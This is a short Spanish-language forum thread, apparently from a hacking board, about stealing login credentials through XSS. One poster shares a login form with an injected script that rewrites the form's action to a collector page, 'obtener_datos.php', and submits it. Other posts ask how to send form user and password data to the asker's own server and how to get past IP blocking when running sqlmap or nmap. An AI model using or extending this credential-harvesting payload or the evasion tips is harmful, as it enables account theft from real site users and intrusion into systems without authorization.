Mensajes

Y esto como se puede aplicar a sqlmap, nmap y similares he buscado algo pero no encuentro nada decente.

He conseguido hacerlo

Código [Seleccionar] Expandir

<form action="" method="post" name="nombre_form">
<input type="text" name="Username" placeholder="Usuario"/><br />
<input type="password" name="Password" placeholder="Contraseña" /><br />
<input type="submit" value="Enviar" />
//código supuestamente inyectado
<script>
document.nombre_form.action = 'obtener_datos.php';
document.nombre_form.submit();
</script>

luego solo hace falta un obtener_datos.php que recoja las variables y las envié otra vez al servidor inicial pero que pasa si el form no tiene la variable name.

Alguien tiene un pequeño tutorial de como hacer que no salte el bloqueo de ip por muchas conexionws.

¿Un pequeño ejemplo?

¿Como se puede obtener post o get de un form desde un javascript y enviar estos a mi servidor?

Pongamos que hago una inyección XSS en una web donde esta el form de login, ¿se podría hacer que envíe el user y pass a mi servidor, o simplemente no se puede?